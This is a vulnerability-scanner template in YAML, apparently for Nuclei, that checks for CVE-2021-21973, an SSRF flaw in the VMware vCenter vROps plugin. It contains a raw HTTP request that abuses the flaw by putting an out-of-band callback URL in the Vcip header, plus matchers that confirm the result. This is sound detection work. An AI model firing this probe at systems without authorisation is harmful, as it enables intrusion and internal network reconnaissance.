49 lines
1.7 KiB
YAML
49 lines
1.7 KiB
YAML
id: CVE-2021-21973
|
|
|
|
info:
|
|
name: VMware vSphere - Server-Side Request Forgery
|
|
author: pdteam
|
|
severity: medium
|
|
description: VMware vSphere (HTML5) is susceptible to server-side request forgery due to improper validation of URLs in a vCenter Server plugin. An attacker with network access to port 443 can exploit this issue by sending a POST request to the plugin. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l, and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).
|
|
remediation: |
|
|
Apply the necessary security patches or updates provided by VMware to mitigate this vulnerability.
|
|
reference:
|
|
- https://twitter.com/osama_hroot/status/1365586206982082560
|
|
- https://twitter.com/bytehx343/status/1486582542807420928
|
|
- https://www.vmware.com/security/advisories/VMSA-2021-0002.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-21973
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
|
|
cvss-score: 5.3
|
|
cve-id: CVE-2021-21973
|
|
cwe-id: CWE-918
|
|
epss-score: 0.35549
|
|
epss-percentile: 0.96643
|
|
cpe: cpe:2.3:a:vmware:cloud_foundation:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: vmware
|
|
product: cloud_foundation
|
|
tags: cve,cve2021,vmware,ssrf,vcenter,oast,kev
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /ui/vropspluginui/rest/services/getvcdetails HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Vcip: {{interactsh-url}}
|
|
Vcpassword: {{rand_base(6)}}
|
|
Vcusername: {{rand_base(6)}}
|
|
Reqresource: {{rand_base(6)}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "The server sent HTTP status code 200"
|
|
|
|
- type: status
|
|
status:
|
|
- 500
|